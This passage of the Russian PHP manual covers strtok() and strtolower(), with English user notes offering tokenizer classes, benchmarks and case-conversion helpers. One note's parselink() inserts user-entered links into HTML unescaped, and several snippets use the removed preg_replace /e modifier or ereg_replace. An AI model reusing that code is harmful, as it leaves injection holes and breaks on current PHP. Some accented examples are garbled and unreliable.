$tok = strtok(" \n\t");
}

?>

Пример #2 Способ обработки пустых подстрок функцией strtok()

<?php

$first_token = strtok('/something', '/');
$second_token = strtok('/');
var_dump($first_token, $second_token);

?>

Результат выполнения приведённого примера:

string(9) "something"
    bool(false)

Пример #3 Отличие функции strtok() от функции explode()

<?php

$string = ";aaa;;bbb;";

$parts = [];
$tok = strtok($string, ";");
while ($tok !== false) {
$parts[] = $tok;
$tok = strtok(";");
}
echo json_encode($parts),"\n";

$parts = explode(";", $string);
echo json_encode($parts),"\n";

?>

Результат выполнения приведённого примера:

["aaa","bbb"]
["","aaa","","bbb",""]

Примечания

Внимание

Функция возвращает как логическое значение false, так и нелогическое значение, которое приводится к false. Прочитайте раздел «Логический тип», чтобы получить дополнительную информацию. Используйте оператор === для проверки значения, которое возвращает функция.

Смотрите также

  • explode() - Разбивает строку разделителем

User Contributed Notes

bohwaz 26-Nov-2023 04:00
Please note that strtok memory is shared between all PHP code currently executed, even included files. This can bite you in unexpected ways if you are not careful.

For example:

<?php

$path = 'dir/file.ext';
$dir_name = strtok($path, '/');

if ($dir_name !== (new Module)->getAllowedDirName()) {
  throw new \Exception('Invalid directory name');
}

$file_name = strtok('');

?>

Seems easy enough, but if your Module class is not loaded, this triggers the autoloader. The autoloader *MAY* use strtok inside its loading code.

Or your Module class *MAY* use strtok inside its constructor.

This means you will never get your $file_name correctly.

So: you should *always* group strtok calls, without any external code between two strtok calls.

This would be OK:

<?php

$path = 'dir/file.ext';
$dir_name = strtok($path, '/');
$file_name = strtok('');

if ($dir_name !== (new Module)->getAllowedDirName()) {
  throw new \Exception('Invalid directory name');
}

?>

This might cause issues:

<?php

$path = 'one/two#three';
$a = strtok($path, '/');
$b = strtok(Module::NAME_SEPARATOR);
$c = strtok('');

?>

Because your autoloader might be using strtok.

This would be avoided by fetching all parameters used in strtok *before* the calls:

<?php

$path = 'one/two#three';
$separator = Module::NAME_SEPARATOR;
$a = strtok($path, '/');
$b = strtok($separator);
$c = strtok('');

?>
voojj3054 at gmail dot com 17-Apr-2023 08:32
Hello, portuguese documentation of strtok is wrong, at this part which the example(2) is wrong.

Exemplo #2 Comportamento antigo da strtok()
<?php
$first_token  = strtok('/something', '/');
$second_token = strtok('/');
var_dump ($first_token, $second_token);
?>

O exemplo acima produzira:

    string(0) ""
    string(9) "something"

(this example above, should be inverted as this:)

Correct:
    string(9) "something"
    string(0) ""

(exemple 3 is correct)
Exemplo #3 Novo comportamento da strtok()
<?php
$first_token  = strtok('/something', '/');
$second_token = strtok('/');
var_dump ($first_token, $second_token);
?>

O exemplo acima produzira:

    string(9) "something"
    bool(false)
David Spector 07-Feb-2021 02:58
After obtaining zero or more tokens with calls to strtok, you can obtain the remainder of the input string by calling strtok with an empty string as the delimiter.
heiangus at hotmail dot com 24-Jul-2019 06:04
I found this useful for parsing user entered links in text fields.

e.g. This is a link <http://example.com>

    function parselink($link) {
        $bit1 = trim(strtok($link, '<'));
        $bit2 = trim(strtok('>'));
        $html = '<a href="'.$bit2.'">'.$bit1.'</a>';
        return $html; // <a href="http://example.com">This is a link</a>
    }
charlie dot ded at orange dot fr 15-Nov-2016 01:41
@maisuma you invert paramaters of explode() and strtok() functions, your code does not do what you expect.
You expect to read the input string token after token so equivalent code for strtok() is  arra_filter(explode()) because explode() return lines of empty string when several delimiters are contiguous in the read string, for example  2 whitespaces between.

In fact strtok() is much faster (x2 at least) than arra_filter(explode()) if the read string contains several contiguous delimiters ,
 it is slower if the read string contains one and only one delimiter between tokens.

<?php

$repeat = 10;
$delimiter = ':';
$str=str_repeat('foo:',$repeat);

$timeStrtok=microtime(TRUE);
$token = strtok($str, $delimiter);
while($token!==FALSE){
    //echo $token . ',';
    $token=strtok($delimiter);
}
$timeStrtok -=microtime(TRUE);

$timeExplo=microtime(TRUE);
$arr = explode($delimiter, $str);
//$arr = array_filter($arr);
$timeExplo -=microtime(TRUE);

//print_r($arr);

$X = 1000000; $unit = 'microsec';

echo PHP_EOL . ' explode() : ' . -$timeExplo . ' ' .$unit .PHP_EOL . ' strtok() :   ' . -$timeStrtok . ' ' . $unit .PHP_EOL;

$timeExplo=round(-$timeExplo*$X);
$timeStrtok=round(-$timeStrtok*$X);

echo PHP_EOL . ' explode() : ' . $timeExplo . ' ' .$unit .PHP_EOL . ' strtok() :   ' . $timeStrtok . ' ' . $unit .PHP_EOL;
echo ' ratio explode / strtok : ' . round($timeExplo / $timeStrtok,1) . PHP_EOL;

?>
eep2004 at ukr dot net 06-Jan-2015 08:40
Remove GET variables from the URL
<?php
echo strtok('http://example.com/index.php?foo=1&bar=2', '?');
?>
Result:
http://example.com/index.php
eep2004 at ukr dot net 07-Oct-2014 10:01
Remove GET variables from the URL
<?php
$url = strtok('http://php.net/manual/en/ref.strings.php?foo=1&bar=2', '?');
// $url = 'http://php.net/manual/en/ref.strings.php'
info at maisuma dot jp 30-May-2014 08:15
If you want to tokenize by only one letter, explode() is much faster compared to strtok().

<?php
$str=str_repeat('foo ',10000);

//explode()
$time=microtime(TRUE);
$arr=explode($str,' ');
$time=microtime(TRUE)-$time;
echo "explode():$time sec.".PHP_EOL;

//strtok()
$time=microtime(TRUE);
$ret=strtok(' ',$str);
while($ret!==FALSE){
    $ret=strtok(' ');
}
$time=microtime(TRUE)-$time;
echo "strtok():$time sec.".PHP_EOL;

?>

The result is : (PHP 5.3.3 on CentOS)

explode():0.001317024230957 sec.
strtok():0.0058917999267578 sec.

explode() is about five times fast in short strings, too.
Axeia 11-Feb-2014 05:12
Might be pointing out the obvious but if you'd rather use a for loop rather than a while (to keep the token strings on the same line for readability for example), it can be done. Added bonus, it doesn't put a $tok variable outside the loop itself either.
Downside however is that you're not able to manually free up the memory used using the technique mentioned by elarlang.

<?php
for($tok = strtok($str, ' _-.'); $tok!==false; $tok = strtok(' _-.'))
{
  echo "$tok </br>";
}
?>
eep2004 at ukr dot net 18-Sep-2013 04:11
<?php
// strtok example
$str = 'Hello to all of Ukraine';
echo strtok($str, ' ').' '.strtok(' ').' '.strtok(' ');
?>
Result:
Hello to all
gilthans at NOSPAM dot gmail dot com 15-Jul-2012 06:47
Note that strtok may receive different tokens each time. Therefore, if, for example, you wish to extract several words and then the rest of the sentence:

<?php
$text = "13 202 5 This is a long message explaining the error codes.";
$error1 = strtok($text, " "); //13
$error2 = strtok(" "); //202
$error3 = strtok(" "); //5
$error_message = strtok(""); //Notice the different token parameter
echo $error_message; //This is a long message explaining the error codes.
?>
pradador at me dot com 13-May-2011 12:10
Here's a simple class that allows you to iterate through string tokens using a foreach loop.

<?php
/**
 * The TokenIterator class allows you to iterate through string tokens using
 * the familiar foreach control structure.
 *
 * Example:
 * <code>
 * <?php
 * $string = 'This is a test.';
 * $delimiters = ' ';
 * $ti = new TokenIterator($string, $delimiters);
 *
 * foreach ($ti as $count => $token) {
 *     echo sprintf("%d, %s\n", $count, $token);
 * }
 *
 * // Prints the following output:
 * // 0. This
 * // 1. is
 * // 2. a
 * // 3. test.
 * </code>
 */
class TokenIterator implements Iterator
{
    /**
     * The string to tokenize.
     * @var string
     */
    protected $_string;

    /**
     * The token delimiters.
     * @var string
     */
    protected $_delims;

    /**
     * Stores the current token.
     * @var mixed
     */
    protected $_token;

    /**
     * Internal token counter.
     * @var int
     */
    protected $_counter = 0;

    /**
     * Constructor.
     *
     * @param string $string The string to tokenize.
     * @param string $delims The token delimiters.
     */
    public function __construct($string, $delims)
    {
        $this->_string = $string;
        $this->_delims = $delims;
        $this->_token = strtok($string, $delims);
    }

    /**
     * @see Iterator::current()
     */
    public function current()
    {
        return $this->_token;
    }

    /**
     * @see Iterator::key()
     */
    public function key()
    {
        return $this->_counter;
    }

    /**
     * @see Iterator::next()
     */
    public function next()
    {
        $this->_token = strtok($this->_delims);

        if ($this->valid()) {
            ++$this->_counter;
        }
    }

    /**
     * @see Iterator::rewind()
     */
    public function rewind()
    {
        $this->_counter = 0;
        $this->_token   = strtok($this->_string, $this->_delims);
    }

    /**
     * @see Iterator::valid()
     */
    public function valid()
    {
        return $this->_token !== FALSE;
    }
}
?>
elarlang at gmail dot com 22-Mar-2011 10:45
If you have memory-usage critical solution, you should keep in mind, that strtok function holds input string parameter (or reference to it?) in memory after usage.

<?php
function tokenize($str, $token_symbols) {
    $word = strtok($str, $token_symbols);
    while (false !== $word) {
        // do something here...
        $word = strtok($token_symbols);
    }
}
?>
Test-cases with handling ~10MB plain-text file:
Case #1 - unset $str variable
<?php
$token_symbols = " \t\n";
$str = file_get_contents('10MB.txt'); // mem usage 9.75383758545 MB (memory_get_usage() / 1024 / 1024));
tokenize($str, $token_symbols); // mem usage 9.75400161743 MB
unset($str); // 9.75395584106 MB
?>
Case #1 result: memory is still used

Case #2 - call strtok again
<?php
$token_symbols = " \t\n";
$str = file_get_contents('10MB.txt'); // 9.75401306152 MB
tokenize($str, $token_symbols); // 9.75417709351
strtok('', ''); // 9.75421524048
?>
Case #2 result: memory is still used

Case #3 - call strtok again AND unset $str variable
<?php
$token_symbols = " \t\n";
$str = file_get_contents('10MB.txt'); // 9.75410079956 MB
tokenize($str, $token_symbols); // 9.75426483154 MB
unset($str);
strtok('', ''); // 0.0543975830078 MB
?>
Case #3 result: memory is free

So, better solution for tokenize function:
<?php
function tokenize($str, $token_symbols, $token_reset = true) {
    $word = strtok($str, $token_symbols);
    while (false !== $word) {
        // do something here...
        $word = strtok($token_symbols);
    }

    if($token_reset)
        strtok('', '');
}
?>
fabiolimasouto at gmail dot com 20-Nov-2010 05:54
this example will hopefully help you understand how this function works:

<?php
$selector = 'div.class#id';
$tagname = strtok($selector,'.#');
echo $tagname.'<br/>';

while($tok = strtok('.#'))
{
 echo $tok.'<br/>';
}

?>

Outputs:
div
class
id
benighted at gmail dot com 06-Nov-2009 06:47
Simple way to tokenize search parameters, including double or single quoted keys.  If only one quote is found, the rest of the string is assumed to be part of that token.

<?php
            $token = strtok($keywords,' ');
            while ($token) {
                // find double quoted tokens
                if ($token{0}=='"') { $token .= ' '.strtok('"').'"'; }
                // find single quoted tokens
                if ($token{0}=="'") { $token .= ' '.strtok("'")."'"; }

                $tokens[] = $token;
                $token = strtok(' ');
            }
?>

Use substr(1,strlen($token)) and remove the part that adds the trailing quotes if you want your output without quotes.
azeem 02-Sep-2009 12:14
Here is a java like StringTokenizer class using strtok function:

<?php

/**
 * The string tokenizer class allows an application to break a string into tokens.
 *
 * @example The following is one example of the use of the tokenizer. The code:
 * <code>
 * <?php
 *    $str = 'this is:@\t\n a test!';
 *    $delim = ' !@:'\t\n; // remove these chars
 *    $st = new StringTokenizer($str, $delim);
 *    while ($st->hasMoreTokens()) {
 *        echo $st->nextToken() . "\n";
 *    }
 *    prints the following output:
 *      this
 *      is
 *      a
 *      test
 * ?>
 * </code>
 */
class StringTokenizer {

    /**
     * @var string
     */
    private $token;

    /**
     * @var string
     */
    private $delim;
    /**
     * Constructs a string tokenizer for the specified string
     * @param string $str String to tokenize
     * @param string $delim The set of delimiters (the characters that separate tokens)
     * specified at creation time, default to ' '
     */
    public function __construct(/*string*/ $str, /*string*/ $delim = ' ') {
        $this->token = strtok($str, $delim);
        $this->delim = $delim;
    }

    public function __destruct() {
        unset($this);
    }

    /**
     * Tests if there are more tokens available from this tokenizer's string. It
     * does not move the internal pointer in any way. To move the internal pointer
     * to the next element call nextToken()
     * @return boolean - true if has more tokens, false otherwise
     */
    public function hasMoreTokens() {
        return ($this->token !== false);
    }

    /**
     * Returns the next token from this string tokenizer and advances the internal
     * pointer by one.
     * @return string - next element in the tokenized string
     */
    public function nextToken() {
        $current = $this->token;
        $this->token = strtok($this->delim);
        return $current;
    }
}
?>
yanick dot rochon at gmail dot com 15-Jun-2009 09:37
Here is a small function I wrote as I needed to extract some named tokens from a string (a la Google). For example, I needed to format a string like "extension:gif size:64M animated:true author:'John Bash'" into

array(
  'extension' => 'gif',
  'size' => '64M',
  'animated' => true,
  'author' => 'John Bash'
)

So, here's the code:

<?php

header('Content-type: text/plain; CHARSET=Windows-1251');

/**
 * NOTE : use mbstring.func_overload for multi-byte support with this function
 *
 * @param string $string             the string to tokenize
 * @param int $offset                the starting offset
 * @param string $defaultTokenName   the default token name if none specified
 * @param string $groupDelimiters    the characters to delimit token groups
 * @param string $groupNameDelimiter the character(s) to delimit token group names
 * @return array
 */
function getTokens(
        $string,
        $offset = 0,
        $defaultTokenName = null,
        $groupDelimiters = '\'"',
        $groupNameDelimiter = ':')
{

    if ($offset >= strlen($string)) {
        //echo "offset out of range";
        return false;
    }

    $spaces = " \t\n\r";   // space characters

    // add group delimiters to spaces...
    $groupSpaces = $spaces . $groupNameDelimiter;
    $delimiters = $groupSpaces . $groupDelimiters;

    //var_dump($groupSpaces);

    $string = ltrim(substr($string, $offset), $groupSpaces);
    $token_strings = array();

    //echo "String is : " . $string . "\n";

    // 1. split all tokens...
    while ($offset < strlen($string)) {
        $lastOffset = $offset;
        $escaped = false;

        if (false !== strpos($groupDelimiters, $char = $string[$offset])) {
            $groupChar = $char;
        } else {
            $groupChar = null;
        }

        if (null !== $groupChar) {
            while (($offset < strlen($string)) && (($groupChar !== ($char = $string[++$offset])) || $escaped)) {
                //$offset++;
                $escaped = ('\\' === $char);
            }
            $offset++;
            //echo "*** Grouped : " . substr($string, $lastOffset, $offset - $lastOffset) . "\n";
        } else {
            while (($offset < strlen($string)) && ((false === strpos($delimiters, $char = $string[$offset])) || $escaped)) {
                $offset++;
                $escaped = ('\\' === $char);
            }
            //echo "*** Non-group : " . substr($string, $lastOffset, $offset - $lastOffset) . "\n";
        }
        //skip spaces...
        while (($offset < strlen($string)) && ((false !== strpos($groupSpaces, $char = $string[$offset])) || $escaped)) {
            $offset++;
            $escaped = ('\\' === $char);
        }

        $token_strings[] = substr($string, $lastOffset, $offset - $lastOffset);
        //echo "Next token = '" . end($token_strings) . "'\n";
    }

    $tokens = array();
    $tokenName = null;
    foreach ($token_strings as $token_str) {
        // clean $token_str
        $token_str = trim(stripslashes($token_str), $spaces);
        $str_value = trim($token_str, $delimiters);
        switch (strtolower($str_value)) {
            case 'true': $str_value = true; break;
            case 'false': $str_value = false; break;
            default: break;
        }

        // is it a token name?
        if (':' === substr($token_str, -1, 1)) {
            if (!empty($tokenName)) {
                $tokens[$tokenName] = '';
            }
            $tokenName = trim($token_str, $delimiters);
        } else {
            if (!empty($tokenName)) {
                if (isset($tokens[$tokenName])) {
                    $tokens[$tokenName] = array(
                        $tokens[$tokenName],
                        $str_value
                    );
                } else {
                    $tokens[$tokenName] = $str_value;
                }
                $tokenName = null;
            } elseif (empty($defaultTokenName)) {
                $tokens[] = trim($token_str, $delimiters);;
            } else {
                if (isset($tokens[$defaultTokenName])) {
                    $tokens[$defaultTokenName] = array(
                        $tokens[$defaultTokenName],
                        $str_value
                    );
                } else {
                    $tokens[$defaultTokenName] = $str_value;
                }
            }
        }
    }
    if (!empty($tokenName)) {
        $tokens[$tokenName] = '';
    }

    return $tokens;
}

$str = "check1: test "
     . "check2:'hello world' "
     . 'check3: "foo" '
     . "check4: \\\"try this\\\""
     . '"buz" '
     . 'check1:true';

?>
KrazyBox 06-Mar-2009 06:11
As of the change in strtok()'s handling of empty strings, it is now useless for scripts that rely on empty data to function.

Take for instance, a standard header. (with UNIX newlines)

http/1.0 200 OK\n
Content-Type: text/html\n
\n
--HTML BODY HERE---

When parsing this with strtok, one would wait until it found an empty string to signal the end of the header. However, because strtok now skips empty segments, it is impossible to know when the header has ended.
This should not be called `correct' behavior, it certainly is not. It has rendered strtok incapable of (properly) processing a very simple standard.

This new functionality, however, does not affect Windows style headers. You would search for a line that only contains "\r"
This, however, is not a justification for the change.
Logikos 03-Jan-2009 10:12
This looks very simple, but it took me a long time to figure out so I thought I'd share it incase someone else was wanting the same thing:

this should work similar to substr() but with tokens instead!

<?php
/* subtok(string,chr,pos,len)
 *
 * chr = chr used to seperate tokens
 * pos = starting postion
 * len = length, if negative count back from right
 *
 *  subtok('a.b.c.d.e','.',0)     = 'a.b.c.d.e'
 *  subtok('a.b.c.d.e','.',0,2)   = 'a.b'
 *  subtok('a.b.c.d.e','.',2,1)   = 'c'
 *  subtok('a.b.c.d.e','.',2,-1)  = 'c.d'
 *  subtok('a.b.c.d.e','.',-4)    = 'b.c.d.e'
 *  subtok('a.b.c.d.e','.',-4,2)  = 'b.c'
 *  subtok('a.b.c.d.e','.',-4,-1) = 'b.c.d'
 */
function subtok($string,$chr,$pos,$len = NULL) {
  return implode($chr,array_slice(explode($chr,$string),$pos,$len));
}
?>

explode breaks the tokens up into an array, array slice alows you to pick then tokens you want, and then implode converts it back to a string

although its far from a clone, this was inspired by mIRC's gettok() function
mac.com@nemo 18-Feb-2006 01:49
This function takes a string and returns an array with words (delimited by spaces), also taking into account quotes, doublequotes, backticks and backslashes (for escaping stuff).
So

$string = "cp   'my file' to `Judy's file`";
var_dump(parse_cli($string));

would yield:

array(4) {
  [0]=>
  string(2) "cp"
  [1]=>
  string(7) "my file"
  [2]=>
  string(5) "to"
  [3]=>
  string(11) "Judy's file"
}

Way it works, runs through the string character by character, for each character looking up the action to take, based on that character and its current $state.
Actions can be (one or more of) adding the character/string to the current word, adding the word to the output array, and changing or (re)storing the state.
For example a space will become part of the current 'word' (or 'token') if $state is 'doublequoted', but it will start a new token if $state was 'unquoted'.
I was later told it's a "tokeniser using a finite state automaton". Who knew :-)

<?php

#_____________________
# parse_cli($string) /
function parse_cli($string) {
    $state = 'space';
    $previous = '';     // stores current state when encountering a backslash (which changes $state to 'escaped', but has to fall back into the previous $state afterwards)
    $out = array();     // the return value
    $word = '';
    $type = '';         // type of character
    // array[states][chartypes] => actions
    $chart = array(
        'space'        => array('space'=>'',   'quote'=>'q',  'doublequote'=>'d',  'backtick'=>'b',  'backslash'=>'ue', 'other'=>'ua'),
        'unquoted'     => array('space'=>'w ', 'quote'=>'a',  'doublequote'=>'a',  'backtick'=>'a',  'backslash'=>'e',  'other'=>'a'),
        'quoted'       => array('space'=>'a',  'quote'=>'w ', 'doublequote'=>'a',  'backtick'=>'a',  'backslash'=>'e',  'other'=>'a'),
        'doublequoted' => array('space'=>'a',  'quote'=>'a',  'doublequote'=>'w ', 'backtick'=>'a',  'backslash'=>'e',  'other'=>'a'),
        'backticked'   => array('space'=>'a',  'quote'=>'a',  'doublequote'=>'a',  'backtick'=>'w ', 'backslash'=>'e',  'other'=>'a'),
        'escaped'      => array('space'=>'ap', 'quote'=>'ap', 'doublequote'=>'ap', 'backtick'=>'ap', 'backslash'=>'ap', 'other'=>'ap'));
    for ($i=0; $i<=strlen($string); $i++) {
        $char = substr($string, $i, 1);
        $type = array_search($char, array('space'=>' ', 'quote'=>'\'', 'doublequote'=>'"', 'backtick'=>'`', 'backslash'=>'\\'));
        if (! $type) $type = 'other';
        if ($type == 'other') {
            // grabs all characters that are also 'other' following the current one in one go
            preg_match("/[ \'\"\`\\\]/", $string, $matches, PREG_OFFSET_CAPTURE, $i);
            if ($matches) {
                $matches = $matches[0];
                $char = substr($string, $i, $matches[1]-$i); // yep, $char length can be > 1
                $i = $matches[1] - 1;
            }else{
                // no more match on special characters, that must mean this is the last word!
                // the .= hereunder is because we *might* be in the middle of a word that just contained special chars
                $word .= substr($string, $i);
                break; // jumps out of the for() loop
            }
        }
        $actions = $chart[$state][$type];
        for($j=0; $j<strlen($actions); $j++) {
            $act = substr($actions, $j, 1);
            if ($act == ' ') $state = 'space';
            if ($act == 'u') $state = 'unquoted';
            if ($act == 'q') $state = 'quoted';
            if ($act == 'd') $state = 'doublequoted';
            if ($act == 'b') $state = 'backticked';
            if ($act == 'e') { $previous = $state; $state = 'escaped'; }
            if ($act == 'a') $word .= $char;
            if ($act == 'w') { $out[] = $word; $word = ''; }
            if ($act == 'p') $state = $previous;
        }
    }
    if (strlen($word)) $out[] = $word;
    return $out;
}

?>
manicdepressive at mindless dot com 19-Jun-2004 06:01
<pre><?php
/** get leading, trailing, and embedded separator tokens that were 'skipped'
if for some ungodly reason you are using php to implement a simple parser that
needs to detect nested clauses as it builds a parse tree */

$str = "(((alpha(beta))(gamma))";

$seps = '()';
$tok = strtok( $str,$seps ); // return false on empty string or null
$cur = 0;
$dumbDone = FALSE;
$done = (FALSE===$tok);
while (!$done) {
   // process skipped tokens (if any at first iteration) (special for last)
   $posTok = $dumbDone ? strlen($str) : strpos($str, $tok, $cur );
   $skippedMany = substr( $str, $cur, $posTok-$cur ); // false when 0 width
   $lenSkipped = strlen($skippedMany); // 0 when false
   if (0!==$lenSkipped) {
      $last = strlen($skippedMany) -1;
      for($i=0; $i<=$last; $i++){
         $skipped = $skippedMany[$i];
         $cur += strlen($skipped);
         echo "skipped: $skipped\n";
      }
   }
   if ($dumbDone) break; // this is the only place the loop is terminated

   // process current tok
   echo "curr tok: ".$tok."\n";

   // update cursor
   $cur += strlen($tok);

   // get any next tok
   if (!$dumbDone){
      $tok = strtok($seps);
      $dumbDone = (FALSE===$tok);
      // you're not really done till you check for trailing skipped
   }
};
?></pre>


Преобразовывает строку в нижний регистр

  • « strtok
  • strtoupper »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает строку в нижний регистр

strtolower

(PHP 4, PHP 5, PHP 7, PHP 8)

strtolower — Преобразовывает строку в нижний регистр

Описание

strtolower(string $string): string

Возвращает строку string, в которой все буквенные символы ASCII переведены в нижний регистр.

Байты в диапазоне от "A" (0x41) до "Z" (0x5a) будут преобразованы в соответствующую строчную букву путём добавления 32 к каждому значению байта.

Функцию можно использовать для преобразования символов ASCII в строках, закодированных в UTF-8, поскольку многобайтовые символы UTF-8 будут проигнорированы. Для преобразования многобайтовых не ASCII символов используйте функцию mb_strtolower().

Список параметров

string

Входная строка.

Возвращаемые значения

Возвращает строку в нижнем регистре.

Список изменений

Версия | Описание
8.2.0 | Приведение к единому регистру больше не зависит от настроек региональных установок, которые установили функцией setlocale(). Преобразовываются только символы кодировки ASCII.

Примеры

Пример #1 Пример использования strtolower()

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = strtolower($str);
echo $str; // выводит: mary had a little lamb and she loved it so
?>

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • strtoupper() - Преобразовывает строку в верхний регистр
  • ucfirst() - Преобразовывает первый символ строки в верхний регистр
  • ucwords() - Преобразовывает в верхний регистр первый символ каждого слова в строке
  • mb_strtolower() - Приводит строку к нижнему регистру

User Contributed Notes

Daniel Klein 07-May-2016 10:33
When the locale is set to "utf8" or "C" I can't get strtolower() to convert accented characters encoded as UTF-8, so here is my workaround.

<?php
function tolower($string) {
  if ($old_locale = setlocale(LC_CTYPE, 0)) {
    // 'fr_FR.ISO-8859-1' for *nix, 'French_France.1252' fallback for Windows
    if ($newlocale = setlocale(LC_CTYPE, 'fr_FR.ISO-8859-1', 'French_France.1252')) {
      preg_match('/\.(?<encoding>.+)$/', $newlocale, $match);
      $string = utf8_encode(strtolower(utf8_decode($string)));
    }
    setlocale(LC_CTYPE, $old_locale);
  }
  return $string;
}

print(tolower('DEJA-VU'));  // prints deja-vu
?>

Change the language-country codes if you want some language other than French.
helvete at bahno dot net 26-Nov-2014 01:05
It is worth noting that
<?php
var_dump(strtolower(null))
?>
returns:
string(0) ""
RCube 31-Mar-2011 04:57
To convert an entire array to lower, I prefer this method;

<?php
function arraytolower(array $array, $round = 0){
  return unserialize(strtolower(serialize($array)));
}
?>

3 lines of code seem a lot less overhead than 10-40.
If there's any intrinsic problem with this method, please post it.
marcin at maydesign dot pl 22-Jun-2010 03:16
strtolower(); doesn't work for polish chars

<?php strtolower("mAkA"); ?>
will return: mAka;

the best solution - use mb_strtolower()

<?php mb_strtolower("mAkA",'UTF-8'); ?>
will return: maka
leha_grobov 25-Jun-2009 08:03
the strtolower version to support most amount of languages including russian, french and so on:

<?php
function strtolower_utf8($string){
  $convert_to = array(
    "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u",
    "v", "w", "x", "y", "z", "a", "a", "a", "a", "a", "a", "?", "c", "e", "e", "e", "e", "i", "i", "i", "i",
    "?", "n", "o", "o", "o", "o", "o", "o", "u", "u", "u", "u", "y", "а", "б", "в", "г", "д", "е", "ё", "ж",
    "з", "и", "й", "к", "л", "м", "н", "о", "п", "р", "с", "т", "у", "ф", "х", "ц", "ч", "ш", "щ", "ъ", "ы",
    "ь", "э", "ю", "я"
  );
  $convert_from = array(
    "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U",
    "V", "W", "X", "Y", "Z", "A", "A", "A", "A", "A", "A", "?", "C", "E", "E", "E", "E", "I", "I", "I", "I",
    "?", "N", "O", "O", "O", "O", "O", "O", "U", "U", "U", "U", "Y", "А", "Б", "В", "Г", "Д", "Е", "Ё", "Ж",
    "З", "И", "Й", "К", "Л", "М", "Н", "О", "П", "Р", "С", "Т", "У", "Ф", "Х", "Ц", "Ч", "Ш", "Щ", "Ъ", "Ъ",
    "Ь", "Э", "Ю", "Я"
  );

  return str_replace($convert_from, $convert_to, $string);
}
?>
coder at bulgaria dot bg 03-Apr-2009 04:08
for cyrillic and UTF 8 use  mb_convert_case

exampel

<?php
$string = "Австралия";
$string = mb_convert_case($string, MB_CASE_LOWER, "UTF-8");
echo $string;

//output is: австралия
?>
dbers26 at gmail dot com 07-Jan-2009 01:34
the function  arraytolower will create duplicate entries since keys are case sensitive.

<?php
$array = array('test1' => 'asgAFasDAAd', 'TEST2' => 'ASddhshsDGb', 'TeSt3 '=> 'asdasda@asdadadASDASDgh');

$array = arraytolower($array);
?>
/*
Array
(
    [test1] => asgafasdaad
    [TEST2] => ASddhshsDGb
    [TeSt3] => asdasda@asdadadASDASDgh
    [test2] => asddhshsdgb
    [test3] => asdasda@asdadadasdasdgh
)
*/

I prefer this method

<?php
  function arraytolower($array, $include_leys=false) {

    if($include_leys) {
      foreach($array as $key => $value) {
        if(is_array($value))
          $array2[strtolower($key)] = arraytolower($value, $include_leys);
        else
          $array2[strtolower($key)] = strtolower($value);
      }
      $array = $array2;
    }
    else {
      foreach($array as $key => $value) {
        if(is_array($value))
          $array[$key] = arraytolower($value, $include_leys);
        else
          $array[$key] = strtolower($value);
      }
    }

    return $array;
  }
?>

which when used like this

<?php
$array = $array = array('test1' => 'asgAFasDAAd', 'TEST2' => 'ASddhshsDGb', 'TeSt3 '=> 'asdasda@asdadadASDASDgh');

$array1 = arraytolower($array);
$array2 = arraytolower($array,true);

print_r($array1);
print_r($array2);
?>

will give output of

Array
(
    [test1] => asgafasdaad
    [TEST2] => asddhshsdgb
    [TeSt3] => asdasda@asdadadasdasdgh
)
Array
(
    [test1] => asgafasdaad
    [test2] => asddhshsdgb
    [test3] => asdasda@asdadadasdasdgh
)
rodrigoATsistemasparainternetDOTcomDOTbr 09-Sep-2008 06:25
<?php
function fullLower($str){
   // convert to entities
   $subject = htmlentities($str,ENT_QUOTES);
   $pattern = '/&([a-z])(uml|acute|circ';
   $pattern.= '|tilde|ring|elig|grave|slash|horn|cedil|th);/e';
   $replace = "'&'.strtolower('\\1').'\\2'.';'";
   $result = preg_replace($pattern, $replace, $subject);
   // convert from entities back to characters
   $htmltable = get_html_translation_table(HTML_ENTITIES);
   foreach($htmltable as $key => $value) {
      $result = ereg_replace(addslashes($value),$key,$result);
   }
   return(strtolower($result));
}

echo fullLower("A E O O UUU");

//results a e o o uuu
//adapted from fullUpper on strtoupper manual
?>
patricia at steuerungb dot de 17-Oct-2007 06:29
When you're not sure, how the current locale is set, you might find the following function useful. It's strtolower for utf8-formatted text:

<?php
function strtolower_utf8($inputString) {
    $outputString    = utf8_decode($inputString);
    $outputString    = strtolower($outputString);
    $outputString    = utf8_encode($outputString);
    return $outputString;
}
?>

It's not suitable for every occasion, but it surely gets in handy. I use it for lowering German 'Umlauts' like a and o.
rok dot kralj at gmail dot com 04-Jun-2007 11:49
Slovenian characters

<?php
    function strtolower_slovenian($string)
    {
        $low=array("C" => "c", "Z" => "z", "S" => "s");
        return strtolower(strtr($string,$low));
    }

?>
marco at recchiuti dot it 22-May-2007 12:43
Maybe it is not so elegant, but it Works.
It's just a fast Idea and it is what I need.
Any hacks for other characters (link !, ? etc etc) should help.

function RemoveShouting($string)
{
     $frase = "";
     $astri = explode(".", $string);
     foreach ($astri as $elem)
    $frase .= " ".ucfirst(trim(strtolower($elem))).". ";

    return trim($frase);
}

Cheers!
M
spiceee ddotty spiceee com 06-Mar-2006 04:53
If you ever need to strtolower a string with href tags on it and doesn't want to mess with the characters inside a tag, this is for you.

<?php

function loweroutsidetags ($str) {
    $chars = preg_split ("//", $str);
    $tolower = true;
    $str = '';

    foreach ($chars as $k) {
        if ($k == '<') { $tolower = false; }
        if ($tolower) { $k = strtolower ($k); }
        $str .= $k;
        if ($k == '>') { $tolower = true; }
    }
    return $str;
}

?>

this:
echo loweroutsidetags('aALalala <a href="?q=CASEsENSITIVINESSinURLSareSTUPID">')

will give:
aalalala <a href="?q=CASEsENSITIVINESSinURLSareSTUPID">
Patrick 19-Jan-2006 10:57
If you're considering using the below unhtmlentities function from phpContrib, I would suggest this one as an alternative:

<?php
function unhtmlentities($string)
{
   // replace numeric entities
   $string = preg_replace('~&#x([0-9a-f]+);~ei', 'chr(hexdec("\\1"))', $string);
   $string = preg_replace('~&#([0-9]+);~e', 'chr(\\1)', $string);
   // replace literal entities
   $trans_tbl = get_html_translation_table(HTML_ENTITIES);
   $trans_tbl = array_flip($trans_tbl);
   return strtr($string, $trans_tbl);
}
?>

That was copied exactly from the html_entity_decode manual page.  It'll handle numeric entities correctly, the below function won't.
mhuggins57 at yahoo dot com 19-Jul-2005 04:04
